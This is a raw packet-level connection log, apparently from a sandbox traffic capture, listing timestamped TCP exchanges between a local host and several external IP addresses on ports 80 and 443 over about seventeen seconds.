Jul 26, 2024 23:45:36.338728905 CEST	49175	443	192.168.2.22	188.114.97.3
Jul 26, 2024 23:45:36.617019892 CEST	49174	80	192.168.2.22	193.122.130.0
Jul 26, 2024 23:45:36.623720884 CEST	80	49174	193.122.130.0	192.168.2.22
Jul 26, 2024 23:45:36.624469995 CEST	49174	80	192.168.2.22	193.122.130.0
Jul 26, 2024 23:45:36.632791042 CEST	49176	80	192.168.2.22	158.101.44.242
Jul 26, 2024 23:45:36.637640953 CEST	80	49176	158.101.44.242	192.168.2.22
Jul 26, 2024 23:45:36.641151905 CEST	49176	80	192.168.2.22	158.101.44.242
Jul 26, 2024 23:45:36.649858952 CEST	49176	80	192.168.2.22	158.101.44.242
Jul 26, 2024 23:45:36.654649973 CEST	80	49176	158.101.44.242	192.168.2.22
Jul 26, 2024 23:45:36.775588036 CEST	49177	80	192.168.2.22	193.122.6.168
Jul 26, 2024 23:45:36.780467033 CEST	80	49177	193.122.6.168	192.168.2.22
Jul 26, 2024 23:45:36.780524015 CEST	49177	80	192.168.2.22	193.122.6.168
Jul 26, 2024 23:45:36.780706882 CEST	49177	80	192.168.2.22	193.122.6.168
Jul 26, 2024 23:45:36.785500050 CEST	80	49177	193.122.6.168	192.168.2.22
Jul 26, 2024 23:45:37.202109098 CEST	80	49176	158.101.44.242	192.168.2.22
Jul 26, 2024 23:45:37.415529966 CEST	80	49176	158.101.44.242	192.168.2.22
Jul 26, 2024 23:45:37.415595055 CEST	49176	80	192.168.2.22	158.101.44.242
Jul 26, 2024 23:45:37.488856077 CEST	49176	80	192.168.2.22	158.101.44.242
Jul 26, 2024 23:45:37.493700981 CEST	80	49176	158.101.44.242	192.168.2.22
Jul 26, 2024 23:45:37.848849058 CEST	80	49176	158.101.44.242	192.168.2.22
Jul 26, 2024 23:45:37.871721983 CEST	49178	443	192.168.2.22	188.114.97.3
Jul 26, 2024 23:45:37.871771097 CEST	443	49178	188.114.97.3	192.168.2.22
Jul 26, 2024 23:45:37.871967077 CEST	49178	443	192.168.2.22	188.114.97.3
Jul 26, 2024 23:45:37.874774933 CEST	49178	443	192.168.2.22	188.114.97.3
Jul 26, 2024 23:45:37.874794006 CEST	443	49178	188.114.97.3	192.168.2.22
Jul 26, 2024 23:45:38.046314955 CEST	49176	80	192.168.2.22	158.101.44.242
Jul 26, 2024 23:45:38.378443956 CEST	443	49178	188.114.97.3	192.168.2.22
Jul 26, 2024 23:45:38.378520012 CEST	49178	443	192.168.2.22	188.114.97.3
Jul 26, 2024 23:45:38.383169889 CEST	49178	443	192.168.2.22	188.114.97.3
Jul 26, 2024 23:45:38.383193970 CEST	443	49178	188.114.97.3	192.168.2.22
Jul 26, 2024 23:45:38.383569002 CEST	443	49178	188.114.97.3	192.168.2.22
Jul 26, 2024 23:45:38.588583946 CEST	443	49178	188.114.97.3	192.168.2.22
Jul 26, 2024 23:45:38.588687897 CEST	49178	443	192.168.2.22	188.114.97.3
Jul 26, 2024 23:45:38.753609896 CEST	49178	443	192.168.2.22	188.114.97.3
Jul 26, 2024 23:45:38.800502062 CEST	443	49178	188.114.97.3	192.168.2.22
Jul 26, 2024 23:45:38.874138117 CEST	443	49178	188.114.97.3	192.168.2.22
Jul 26, 2024 23:45:38.874377012 CEST	443	49178	188.114.97.3	192.168.2.22
Jul 26, 2024 23:45:38.874439955 CEST	49178	443	192.168.2.22	188.114.97.3
Jul 26, 2024 23:45:38.875458002 CEST	49178	443	192.168.2.22	188.114.97.3
Jul 26, 2024 23:45:38.902432919 CEST	49176	80	192.168.2.22	158.101.44.242
Jul 26, 2024 23:45:38.908186913 CEST	80	49176	158.101.44.242	192.168.2.22
Jul 26, 2024 23:45:39.061602116 CEST	80	49176	158.101.44.242	192.168.2.22
Jul 26, 2024 23:45:39.064282894 CEST	49179	443	192.168.2.22	188.114.97.3
Jul 26, 2024 23:45:39.064361095 CEST	443	49179	188.114.97.3	192.168.2.22
Jul 26, 2024 23:45:39.064630032 CEST	49179	443	192.168.2.22	188.114.97.3
Jul 26, 2024 23:45:39.065753937 CEST	49179	443	192.168.2.22	188.114.97.3
Jul 26, 2024 23:45:39.065788031 CEST	443	49179	188.114.97.3	192.168.2.22
Jul 26, 2024 23:45:39.278728962 CEST	49176	80	192.168.2.22	158.101.44.242
Jul 26, 2024 23:45:39.412964106 CEST	80	49177	193.122.6.168	192.168.2.22
Jul 26, 2024 23:45:39.432930946 CEST	49177	80	192.168.2.22	193.122.6.168
Jul 26, 2024 23:45:39.439795017 CEST	80	49177	193.122.6.168	192.168.2.22
Jul 26, 2024 23:45:39.591712952 CEST	443	49179	188.114.97.3	192.168.2.22
Jul 26, 2024 23:45:39.594327927 CEST	49179	443	192.168.2.22	188.114.97.3
Jul 26, 2024 23:45:39.594356060 CEST	443	49179	188.114.97.3	192.168.2.22
Jul 26, 2024 23:45:39.742614985 CEST	443	49179	188.114.97.3	192.168.2.22
Jul 26, 2024 23:45:39.742716074 CEST	443	49179	188.114.97.3	192.168.2.22
Jul 26, 2024 23:45:39.742760897 CEST	49179	443	192.168.2.22	188.114.97.3
Jul 26, 2024 23:45:39.743309021 CEST	49179	443	192.168.2.22	188.114.97.3
Jul 26, 2024 23:45:39.758214951 CEST	49176	80	192.168.2.22	158.101.44.242
Jul 26, 2024 23:45:39.763753891 CEST	80	49176	158.101.44.242	192.168.2.22
Jul 26, 2024 23:45:39.763891935 CEST	49176	80	192.168.2.22	158.101.44.242
Jul 26, 2024 23:45:39.867193937 CEST	49180	80	192.168.2.22	193.122.6.168
Jul 26, 2024 23:45:39.872045040 CEST	80	49180	193.122.6.168	192.168.2.22
Jul 26, 2024 23:45:39.872112036 CEST	49180	80	192.168.2.22	193.122.6.168
Jul 26, 2024 23:45:39.872224092 CEST	49180	80	192.168.2.22	193.122.6.168
Jul 26, 2024 23:45:39.881340981 CEST	80	49180	193.122.6.168	192.168.2.22
Jul 26, 2024 23:45:40.719506025 CEST	80	49177	193.122.6.168	192.168.2.22
Jul 26, 2024 23:45:40.736346006 CEST	49181	443	192.168.2.22	188.114.96.3
Jul 26, 2024 23:45:40.736386061 CEST	443	49181	188.114.96.3	192.168.2.22
Jul 26, 2024 23:45:40.736442089 CEST	49181	443	192.168.2.22	188.114.96.3
Jul 26, 2024 23:45:40.743163109 CEST	49181	443	192.168.2.22	188.114.96.3
Jul 26, 2024 23:45:40.743176937 CEST	443	49181	188.114.96.3	192.168.2.22
Jul 26, 2024 23:45:40.927472115 CEST	80	49177	193.122.6.168	192.168.2.22
Jul 26, 2024 23:45:40.927536964 CEST	49177	80	192.168.2.22	193.122.6.168
Jul 26, 2024 23:45:41.224433899 CEST	443	49181	188.114.96.3	192.168.2.22
Jul 26, 2024 23:45:41.227108955 CEST	49181	443	192.168.2.22	188.114.96.3
Jul 26, 2024 23:45:41.227128029 CEST	443	49181	188.114.96.3	192.168.2.22
Jul 26, 2024 23:45:41.363576889 CEST	443	49181	188.114.96.3	192.168.2.22
Jul 26, 2024 23:45:41.363841057 CEST	443	49181	188.114.96.3	192.168.2.22
Jul 26, 2024 23:45:41.363904953 CEST	49181	443	192.168.2.22	188.114.96.3
Jul 26, 2024 23:45:41.364214897 CEST	49181	443	192.168.2.22	188.114.96.3
Jul 26, 2024 23:45:41.377988100 CEST	49177	80	192.168.2.22	193.122.6.168
Jul 26, 2024 23:45:41.383627892 CEST	80	49177	193.122.6.168	192.168.2.22
Jul 26, 2024 23:45:41.383687973 CEST	49177	80	192.168.2.22	193.122.6.168
Jul 26, 2024 23:45:41.419585943 CEST	49182	80	192.168.2.22	193.122.6.168
Jul 26, 2024 23:45:41.424649000 CEST	80	49182	193.122.6.168	192.168.2.22
Jul 26, 2024 23:45:41.424709082 CEST	49182	80	192.168.2.22	193.122.6.168
Jul 26, 2024 23:45:41.424787045 CEST	49182	80	192.168.2.22	193.122.6.168
Jul 26, 2024 23:45:41.429697990 CEST	80	49182	193.122.6.168	192.168.2.22
Jul 26, 2024 23:45:41.517668009 CEST	80	49180	193.122.6.168	192.168.2.22
Jul 26, 2024 23:45:41.543041945 CEST	49183	443	192.168.2.22	188.114.97.3
Jul 26, 2024 23:45:41.543103933 CEST	443	49183	188.114.97.3	192.168.2.22
Jul 26, 2024 23:45:41.543169022 CEST	49183	443	192.168.2.22	188.114.97.3
Jul 26, 2024 23:45:41.543467999 CEST	49183	443	192.168.2.22	188.114.97.3
Jul 26, 2024 23:45:41.543493986 CEST	443	49183	188.114.97.3	192.168.2.22
Jul 26, 2024 23:45:41.727950096 CEST	49180	80	192.168.2.22	193.122.6.168
Jul 26, 2024 23:45:42.020059109 CEST	443	49183	188.114.97.3	192.168.2.22
Jul 26, 2024 23:45:42.081131935 CEST	80	49182	193.122.6.168	192.168.2.22
Jul 26, 2024 23:45:42.101207018 CEST	49183	443	192.168.2.22	188.114.97.3
Jul 26, 2024 23:45:42.101244926 CEST	443	49183	188.114.97.3	192.168.2.22
Jul 26, 2024 23:45:42.218363047 CEST	443	49183	188.114.97.3	192.168.2.22
Jul 26, 2024 23:45:42.218600988 CEST	443	49183	188.114.97.3	192.168.2.22
Jul 26, 2024 23:45:42.218688011 CEST	49183	443	192.168.2.22	188.114.97.3
Jul 26, 2024 23:45:42.220113039 CEST	49183	443	192.168.2.22	188.114.97.3
Jul 26, 2024 23:45:42.289530993 CEST	49182	80	192.168.2.22	193.122.6.168
Jul 26, 2024 23:45:42.291476011 CEST	80	49182	193.122.6.168	192.168.2.22
Jul 26, 2024 23:45:42.294935942 CEST	49182	80	192.168.2.22	193.122.6.168
Jul 26, 2024 23:45:42.540606976 CEST	49184	80	192.168.2.22	132.226.8.169
Jul 26, 2024 23:45:42.543735027 CEST	49185	80	192.168.2.22	193.122.6.168
Jul 26, 2024 23:45:42.545442104 CEST	80	49184	132.226.8.169	192.168.2.22
Jul 26, 2024 23:45:42.545495987 CEST	49184	80	192.168.2.22	132.226.8.169
Jul 26, 2024 23:45:42.547310114 CEST	49184	80	192.168.2.22	132.226.8.169
Jul 26, 2024 23:45:42.548670053 CEST	80	49185	193.122.6.168	192.168.2.22
Jul 26, 2024 23:45:42.548723936 CEST	49185	80	192.168.2.22	193.122.6.168
Jul 26, 2024 23:45:42.548789978 CEST	49185	80	192.168.2.22	193.122.6.168
Jul 26, 2024 23:45:42.552351952 CEST	80	49184	132.226.8.169	192.168.2.22
Jul 26, 2024 23:45:42.553627968 CEST	80	49185	193.122.6.168	192.168.2.22
Jul 26, 2024 23:45:43.327135086 CEST	80	49184	132.226.8.169	192.168.2.22
Jul 26, 2024 23:45:43.340100050 CEST	49186	443	192.168.2.22	188.114.96.3
Jul 26, 2024 23:45:43.340153933 CEST	443	49186	188.114.96.3	192.168.2.22
Jul 26, 2024 23:45:43.340214968 CEST	49186	443	192.168.2.22	188.114.96.3
Jul 26, 2024 23:45:43.340459108 CEST	49186	443	192.168.2.22	188.114.96.3
Jul 26, 2024 23:45:43.340492010 CEST	443	49186	188.114.96.3	192.168.2.22
Jul 26, 2024 23:45:43.539527893 CEST	80	49184	132.226.8.169	192.168.2.22
Jul 26, 2024 23:45:43.539572954 CEST	49184	80	192.168.2.22	132.226.8.169
Jul 26, 2024 23:45:43.814532995 CEST	443	49186	188.114.96.3	192.168.2.22
Jul 26, 2024 23:45:43.817344904 CEST	49186	443	192.168.2.22	188.114.96.3
Jul 26, 2024 23:45:43.817389011 CEST	443	49186	188.114.96.3	192.168.2.22
Jul 26, 2024 23:45:43.939181089 CEST	443	49186	188.114.96.3	192.168.2.22
Jul 26, 2024 23:45:43.939265013 CEST	443	49186	188.114.96.3	192.168.2.22
Jul 26, 2024 23:45:43.939327955 CEST	49186	443	192.168.2.22	188.114.96.3
Jul 26, 2024 23:45:43.939913988 CEST	49186	443	192.168.2.22	188.114.96.3
Jul 26, 2024 23:45:43.952377081 CEST	49184	80	192.168.2.22	132.226.8.169
Jul 26, 2024 23:45:43.970454931 CEST	80	49184	132.226.8.169	192.168.2.22
Jul 26, 2024 23:45:43.970944881 CEST	49184	80	192.168.2.22	132.226.8.169
Jul 26, 2024 23:45:44.186233044 CEST	80	49185	193.122.6.168	192.168.2.22
Jul 26, 2024 23:45:44.395447969 CEST	80	49185	193.122.6.168	192.168.2.22
Jul 26, 2024 23:45:44.395625114 CEST	49185	80	192.168.2.22	193.122.6.168
Jul 26, 2024 23:45:44.460261106 CEST	49187	80	192.168.2.22	158.101.44.242
Jul 26, 2024 23:45:44.460777998 CEST	49188	443	192.168.2.22	188.114.97.3
Jul 26, 2024 23:45:44.460825920 CEST	443	49188	188.114.97.3	192.168.2.22
Jul 26, 2024 23:45:44.460911989 CEST	49188	443	192.168.2.22	188.114.97.3
Jul 26, 2024 23:45:44.465207100 CEST	80	49187	158.101.44.242	192.168.2.22
Jul 26, 2024 23:45:44.465295076 CEST	49187	80	192.168.2.22	158.101.44.242
Jul 26, 2024 23:45:44.480416059 CEST	49187	80	192.168.2.22	158.101.44.242
Jul 26, 2024 23:45:44.481154919 CEST	49188	443	192.168.2.22	188.114.97.3
Jul 26, 2024 23:45:44.481194973 CEST	443	49188	188.114.97.3	192.168.2.22
Jul 26, 2024 23:45:44.485352039 CEST	80	49187	158.101.44.242	192.168.2.22
Jul 26, 2024 23:45:44.981574059 CEST	443	49188	188.114.97.3	192.168.2.22
Jul 26, 2024 23:45:44.984251022 CEST	49188	443	192.168.2.22	188.114.97.3
Jul 26, 2024 23:45:44.984318018 CEST	443	49188	188.114.97.3	192.168.2.22
Jul 26, 2024 23:45:45.059883118 CEST	80	49187	158.101.44.242	192.168.2.22
Jul 26, 2024 23:45:45.076153040 CEST	49189	443	192.168.2.22	188.114.96.3
Jul 26, 2024 23:45:45.076178074 CEST	443	49189	188.114.96.3	192.168.2.22
Jul 26, 2024 23:45:45.076232910 CEST	49189	443	192.168.2.22	188.114.96.3
Jul 26, 2024 23:45:45.076469898 CEST	49189	443	192.168.2.22	188.114.96.3
Jul 26, 2024 23:45:45.076481104 CEST	443	49189	188.114.96.3	192.168.2.22
Jul 26, 2024 23:45:45.131036997 CEST	443	49188	188.114.97.3	192.168.2.22
Jul 26, 2024 23:45:45.131289005 CEST	443	49188	188.114.97.3	192.168.2.22
Jul 26, 2024 23:45:45.131486893 CEST	49188	443	192.168.2.22	188.114.97.3
Jul 26, 2024 23:45:45.135514975 CEST	49188	443	192.168.2.22	188.114.97.3
Jul 26, 2024 23:45:45.152615070 CEST	49185	80	192.168.2.22	193.122.6.168
Jul 26, 2024 23:45:45.158145905 CEST	80	49185	193.122.6.168	192.168.2.22
Jul 26, 2024 23:45:45.158209085 CEST	49185	80	192.168.2.22	193.122.6.168
Jul 26, 2024 23:45:45.173810005 CEST	49190	80	192.168.2.22	193.122.6.168
Jul 26, 2024 23:45:45.178627968 CEST	80	49190	193.122.6.168	192.168.2.22
Jul 26, 2024 23:45:45.178682089 CEST	49190	80	192.168.2.22	193.122.6.168
Jul 26, 2024 23:45:45.178761959 CEST	49190	80	192.168.2.22	193.122.6.168
Jul 26, 2024 23:45:45.183666945 CEST	80	49190	193.122.6.168	192.168.2.22
Jul 26, 2024 23:45:45.269176960 CEST	49187	80	192.168.2.22	158.101.44.242
Jul 26, 2024 23:45:45.540621996 CEST	443	49189	188.114.96.3	192.168.2.22
Jul 26, 2024 23:45:45.543097973 CEST	49189	443	192.168.2.22	188.114.96.3
Jul 26, 2024 23:45:45.543127060 CEST	443	49189	188.114.96.3	192.168.2.22
Jul 26, 2024 23:45:45.672687054 CEST	443	49189	188.114.96.3	192.168.2.22
Jul 26, 2024 23:45:45.672769070 CEST	443	49189	188.114.96.3	192.168.2.22
Jul 26, 2024 23:45:45.672844887 CEST	49189	443	192.168.2.22	188.114.96.3
Jul 26, 2024 23:45:45.673301935 CEST	49189	443	192.168.2.22	188.114.96.3
Jul 26, 2024 23:45:45.685033083 CEST	49187	80	192.168.2.22	158.101.44.242
Jul 26, 2024 23:45:45.690653086 CEST	80	49187	158.101.44.242	192.168.2.22
Jul 26, 2024 23:45:45.690716028 CEST	49187	80	192.168.2.22	158.101.44.242
Jul 26, 2024 23:45:45.706738949 CEST	49191	80	192.168.2.22	132.226.247.73
Jul 26, 2024 23:45:45.711555958 CEST	80	49191	132.226.247.73	192.168.2.22
Jul 26, 2024 23:45:45.711613894 CEST	49191	80	192.168.2.22	132.226.247.73
Jul 26, 2024 23:45:45.711668968 CEST	49191	80	192.168.2.22	132.226.247.73
Jul 26, 2024 23:45:45.717003107 CEST	80	49191	132.226.247.73	192.168.2.22
Jul 26, 2024 23:45:46.386826992 CEST	80	49191	132.226.247.73	192.168.2.22
Jul 26, 2024 23:45:46.595187902 CEST	49191	80	192.168.2.22	132.226.247.73
Jul 26, 2024 23:45:46.605454922 CEST	80	49191	132.226.247.73	192.168.2.22
Jul 26, 2024 23:45:46.605592012 CEST	49191	80	192.168.2.22	132.226.247.73
Jul 26, 2024 23:45:46.620621920 CEST	49192	443	192.168.2.22	188.114.96.3
Jul 26, 2024 23:45:46.620659113 CEST	443	49192	188.114.96.3	192.168.2.22
Jul 26, 2024 23:45:46.620718956 CEST	49192	443	192.168.2.22	188.114.96.3
Jul 26, 2024 23:45:46.621052027 CEST	49192	443	192.168.2.22	188.114.96.3
Jul 26, 2024 23:45:46.621069908 CEST	443	49192	188.114.96.3	192.168.2.22
Jul 26, 2024 23:45:46.833507061 CEST	80	49190	193.122.6.168	192.168.2.22
Jul 26, 2024 23:45:46.895685911 CEST	49193	443	192.168.2.22	188.114.97.3
Jul 26, 2024 23:45:46.895772934 CEST	443	49193	188.114.97.3	192.168.2.22
Jul 26, 2024 23:45:46.895845890 CEST	49193	443	192.168.2.22	188.114.97.3
Jul 26, 2024 23:45:46.896251917 CEST	49193	443	192.168.2.22	188.114.97.3
Jul 26, 2024 23:45:46.896286964 CEST	443	49193	188.114.97.3	192.168.2.22
Jul 26, 2024 23:45:47.043627977 CEST	80	49190	193.122.6.168	192.168.2.22
Jul 26, 2024 23:45:47.043682098 CEST	49190	80	192.168.2.22	193.122.6.168
Jul 26, 2024 23:45:47.090240002 CEST	443	49192	188.114.96.3	192.168.2.22
Jul 26, 2024 23:45:47.093430996 CEST	49192	443	192.168.2.22	188.114.96.3
Jul 26, 2024 23:45:47.093489885 CEST	443	49192	188.114.96.3	192.168.2.22
Jul 26, 2024 23:45:47.219444990 CEST	443	49192	188.114.96.3	192.168.2.22
Jul 26, 2024 23:45:47.219501019 CEST	443	49192	188.114.96.3	192.168.2.22
Jul 26, 2024 23:45:47.219551086 CEST	49192	443	192.168.2.22	188.114.96.3
Jul 26, 2024 23:45:47.220865011 CEST	49192	443	192.168.2.22	188.114.96.3
Jul 26, 2024 23:45:47.233720064 CEST	49191	80	192.168.2.22	132.226.247.73
Jul 26, 2024 23:45:47.239237070 CEST	80	49191	132.226.247.73	192.168.2.22
Jul 26, 2024 23:45:47.239280939 CEST	49191	80	192.168.2.22	132.226.247.73
Jul 26, 2024 23:45:47.247977972 CEST	49194	443	192.168.2.22	149.154.167.220
Jul 26, 2024 23:45:47.248083115 CEST	443	49194	149.154.167.220	192.168.2.22
Jul 26, 2024 23:45:47.248156071 CEST	49194	443	192.168.2.22	149.154.167.220
Jul 26, 2024 23:45:47.248701096 CEST	49194	443	192.168.2.22	149.154.167.220
Jul 26, 2024 23:45:47.248738050 CEST	443	49194	149.154.167.220	192.168.2.22
Jul 26, 2024 23:45:47.354635000 CEST	443	49193	188.114.97.3	192.168.2.22
Jul 26, 2024 23:45:47.357110023 CEST	49193	443	192.168.2.22	188.114.97.3
Jul 26, 2024 23:45:47.357131958 CEST	443	49193	188.114.97.3	192.168.2.22
Jul 26, 2024 23:45:47.482007027 CEST	443	49193	188.114.97.3	192.168.2.22
Jul 26, 2024 23:45:47.482065916 CEST	443	49193	188.114.97.3	192.168.2.22
Jul 26, 2024 23:45:47.482110023 CEST	49193	443	192.168.2.22	188.114.97.3
Jul 26, 2024 23:45:47.482485056 CEST	49193	443	192.168.2.22	188.114.97.3
Jul 26, 2024 23:45:47.495728016 CEST	49190	80	192.168.2.22	193.122.6.168
Jul 26, 2024 23:45:47.501351118 CEST	80	49190	193.122.6.168	192.168.2.22
Jul 26, 2024 23:45:47.501401901 CEST	49190	80	192.168.2.22	193.122.6.168
Jul 26, 2024 23:45:47.518502951 CEST	49195	80	192.168.2.22	193.122.130.0
Jul 26, 2024 23:45:47.523556948 CEST	80	49195	193.122.130.0	192.168.2.22
Jul 26, 2024 23:45:47.523612022 CEST	49195	80	192.168.2.22	193.122.130.0
Jul 26, 2024 23:45:47.523673058 CEST	49195	80	192.168.2.22	193.122.130.0
Jul 26, 2024 23:45:47.528439999 CEST	80	49195	193.122.130.0	192.168.2.22
Jul 26, 2024 23:45:47.874897957 CEST	443	49194	149.154.167.220	192.168.2.22
Jul 26, 2024 23:45:47.874967098 CEST	49194	443	192.168.2.22	149.154.167.220
Jul 26, 2024 23:45:47.883709908 CEST	49194	443	192.168.2.22	149.154.167.220
Jul 26, 2024 23:45:47.883718967 CEST	443	49194	149.154.167.220	192.168.2.22
Jul 26, 2024 23:45:47.884067059 CEST	443	49194	149.154.167.220	192.168.2.22
Jul 26, 2024 23:45:47.886822939 CEST	49194	443	192.168.2.22	149.154.167.220
Jul 26, 2024 23:45:47.932539940 CEST	443	49194	149.154.167.220	192.168.2.22
Jul 26, 2024 23:45:47.997226000 CEST	80	49195	193.122.130.0	192.168.2.22
Jul 26, 2024 23:45:48.018897057 CEST	49196	443	192.168.2.22	188.114.96.3
Jul 26, 2024 23:45:48.018937111 CEST	443	49196	188.114.96.3	192.168.2.22
Jul 26, 2024 23:45:48.019011021 CEST	49196	443	192.168.2.22	188.114.96.3
Jul 26, 2024 23:45:48.019294977 CEST	49196	443	192.168.2.22	188.114.96.3
Jul 26, 2024 23:45:48.019309044 CEST	443	49196	188.114.96.3	192.168.2.22
Jul 26, 2024 23:45:48.132366896 CEST	443	49194	149.154.167.220	192.168.2.22
Jul 26, 2024 23:45:48.132437944 CEST	443	49194	149.154.167.220	192.168.2.22
Jul 26, 2024 23:45:48.132530928 CEST	49194	443	192.168.2.22	149.154.167.220
Jul 26, 2024 23:45:48.132940054 CEST	49194	443	192.168.2.22	149.154.167.220
Jul 26, 2024 23:45:48.201951027 CEST	49195	80	192.168.2.22	193.122.130.0
Jul 26, 2024 23:45:48.203905106 CEST	80	49195	193.122.130.0	192.168.2.22
Jul 26, 2024 23:45:48.203972101 CEST	49195	80	192.168.2.22	193.122.130.0
Jul 26, 2024 23:45:48.506793022 CEST	443	49196	188.114.96.3	192.168.2.22
Jul 26, 2024 23:45:48.509236097 CEST	49196	443	192.168.2.22	188.114.96.3
Jul 26, 2024 23:45:48.509259939 CEST	443	49196	188.114.96.3	192.168.2.22
Jul 26, 2024 23:45:48.664441109 CEST	443	49196	188.114.96.3	192.168.2.22
Jul 26, 2024 23:45:48.664545059 CEST	443	49196	188.114.96.3	192.168.2.22
Jul 26, 2024 23:45:48.664921999 CEST	49196	443	192.168.2.22	188.114.96.3
Jul 26, 2024 23:45:48.665353060 CEST	49196	443	192.168.2.22	188.114.96.3
Jul 26, 2024 23:45:48.676703930 CEST	49195	80	192.168.2.22	193.122.130.0
Jul 26, 2024 23:45:48.689225912 CEST	80	49195	193.122.130.0	192.168.2.22
Jul 26, 2024 23:45:48.689359903 CEST	49195	80	192.168.2.22	193.122.130.0
Jul 26, 2024 23:45:48.697977066 CEST	49197	80	192.168.2.22	132.226.247.73
Jul 26, 2024 23:45:48.703497887 CEST	80	49197	132.226.247.73	192.168.2.22
Jul 26, 2024 23:45:48.703563929 CEST	49197	80	192.168.2.22	132.226.247.73
Jul 26, 2024 23:45:48.703653097 CEST	49197	80	192.168.2.22	132.226.247.73
Jul 26, 2024 23:45:48.708513021 CEST	80	49197	132.226.247.73	192.168.2.22
Jul 26, 2024 23:45:49.378026962 CEST	80	49197	132.226.247.73	192.168.2.22
Jul 26, 2024 23:45:49.391849041 CEST	49198	443	192.168.2.22	188.114.97.3
Jul 26, 2024 23:45:49.391937017 CEST	443	49198	188.114.97.3	192.168.2.22
Jul 26, 2024 23:45:49.392030001 CEST	49198	443	192.168.2.22	188.114.97.3
Jul 26, 2024 23:45:49.392307043 CEST	49198	443	192.168.2.22	188.114.97.3
Jul 26, 2024 23:45:49.392328024 CEST	443	49198	188.114.97.3	192.168.2.22
Jul 26, 2024 23:45:49.587779999 CEST	80	49197	132.226.247.73	192.168.2.22
Jul 26, 2024 23:45:49.590379953 CEST	49197	80	192.168.2.22	132.226.247.73
Jul 26, 2024 23:45:49.590421915 CEST	49197	80	192.168.2.22	132.226.247.73
Jul 26, 2024 23:45:49.881721973 CEST	443	49198	188.114.97.3	192.168.2.22
Jul 26, 2024 23:45:49.885092974 CEST	49198	443	192.168.2.22	188.114.97.3
Jul 26, 2024 23:45:49.885158062 CEST	443	49198	188.114.97.3	192.168.2.22
Jul 26, 2024 23:45:50.032752037 CEST	443	49198	188.114.97.3	192.168.2.22
Jul 26, 2024 23:45:50.032824039 CEST	443	49198	188.114.97.3	192.168.2.22
Jul 26, 2024 23:45:50.033018112 CEST	49198	443	192.168.2.22	188.114.97.3
Jul 26, 2024 23:45:50.033325911 CEST	49198	443	192.168.2.22	188.114.97.3
Jul 26, 2024 23:45:50.045794964 CEST	49197	80	192.168.2.22	132.226.247.73
Jul 26, 2024 23:45:50.051107883 CEST	80	49197	132.226.247.73	192.168.2.22
Jul 26, 2024 23:45:50.051167011 CEST	49197	80	192.168.2.22	132.226.247.73
Jul 26, 2024 23:45:50.066366911 CEST	49199	80	192.168.2.22	132.226.247.73
Jul 26, 2024 23:45:50.071244955 CEST	80	49199	132.226.247.73	192.168.2.22
Jul 26, 2024 23:45:50.071309090 CEST	49199	80	192.168.2.22	132.226.247.73
Jul 26, 2024 23:45:50.071681023 CEST	49199	80	192.168.2.22	132.226.247.73
Jul 26, 2024 23:45:50.076431036 CEST	80	49199	132.226.247.73	192.168.2.22
Jul 26, 2024 23:45:51.685719967 CEST	80	49199	132.226.247.73	192.168.2.22
Jul 26, 2024 23:45:51.685988903 CEST	80	49199	132.226.247.73	192.168.2.22
Jul 26, 2024 23:45:51.686393023 CEST	80	49199	132.226.247.73	192.168.2.22
Jul 26, 2024 23:45:51.686407089 CEST	49199	80	192.168.2.22	132.226.247.73
Jul 26, 2024 23:45:51.686536074 CEST	49199	80	192.168.2.22	132.226.247.73
Jul 26, 2024 23:45:51.686778069 CEST	80	49199	132.226.247.73	192.168.2.22
Jul 26, 2024 23:45:51.686853886 CEST	49199	80	192.168.2.22	132.226.247.73
Jul 26, 2024 23:45:51.701339960 CEST	49200	443	192.168.2.22	188.114.96.3
Jul 26, 2024 23:45:51.701406002 CEST	443	49200	188.114.96.3	192.168.2.22
Jul 26, 2024 23:45:51.701476097 CEST	49200	443	192.168.2.22	188.114.96.3
Jul 26, 2024 23:45:51.701832056 CEST	49200	443	192.168.2.22	188.114.96.3
Jul 26, 2024 23:45:51.701865911 CEST	443	49200	188.114.96.3	192.168.2.22
Jul 26, 2024 23:45:52.169359922 CEST	443	49200	188.114.96.3	192.168.2.22
Jul 26, 2024 23:45:52.173000097 CEST	49200	443	192.168.2.22	188.114.96.3
Jul 26, 2024 23:45:52.173027992 CEST	443	49200	188.114.96.3	192.168.2.22
Jul 26, 2024 23:45:52.313321114 CEST	443	49200	188.114.96.3	192.168.2.22
Jul 26, 2024 23:45:52.313591957 CEST	443	49200	188.114.96.3	192.168.2.22
Jul 26, 2024 23:45:52.313710928 CEST	49200	443	192.168.2.22	188.114.96.3
Jul 26, 2024 23:45:52.314001083 CEST	49200	443	192.168.2.22	188.114.96.3
Jul 26, 2024 23:45:52.378209114 CEST	49199	80	192.168.2.22	132.226.247.73
Jul 26, 2024 23:45:52.383690119 CEST	80	49199	132.226.247.73	192.168.2.22
Jul 26, 2024 23:45:52.383764982 CEST	49199	80	192.168.2.22	132.226.247.73
Jul 26, 2024 23:45:52.393471956 CEST	49201	80	192.168.2.22	193.122.130.0
Jul 26, 2024 23:45:52.398372889 CEST	80	49201	193.122.130.0	192.168.2.22
Jul 26, 2024 23:45:52.398417950 CEST	49201	80	192.168.2.22	193.122.130.0
Jul 26, 2024 23:45:52.398821115 CEST	49201	80	192.168.2.22	193.122.130.0
Jul 26, 2024 23:45:52.403589010 CEST	80	49201	193.122.130.0	192.168.2.22
Jul 26, 2024 23:45:52.860874891 CEST	80	49201	193.122.130.0	192.168.2.22
Jul 26, 2024 23:45:52.873503923 CEST	49202	443	192.168.2.22	188.114.97.3
Jul 26, 2024 23:45:52.873596907 CEST	443	49202	188.114.97.3	192.168.2.22
Jul 26, 2024 23:45:52.873668909 CEST	49202	443	192.168.2.22	188.114.97.3
Jul 26, 2024 23:45:52.873960972 CEST	49202	443	192.168.2.22	188.114.97.3
Jul 26, 2024 23:45:52.873999119 CEST	443	49202	188.114.97.3	192.168.2.22
Jul 26, 2024 23:45:53.069170952 CEST	49201	80	192.168.2.22	193.122.130.0
Jul 26, 2024 23:45:53.071516037 CEST	80	49201	193.122.130.0	192.168.2.22
Jul 26, 2024 23:45:53.071574926 CEST	49201	80	192.168.2.22	193.122.130.0
Jul 26, 2024 23:45:53.365447044 CEST	443	49202	188.114.97.3	192.168.2.22
Jul 26, 2024 23:45:53.374777079 CEST	49202	443	192.168.2.22	188.114.97.3
Jul 26, 2024 23:45:53.374815941 CEST	443	49202	188.114.97.3	192.168.2.22
Jul 26, 2024 23:45:53.508024931 CEST	443	49202	188.114.97.3	192.168.2.22
Jul 26, 2024 23:45:53.508248091 CEST	443	49202	188.114.97.3	192.168.2.22
Jul 26, 2024 23:45:53.508320093 CEST	49202	443	192.168.2.22	188.114.97.3
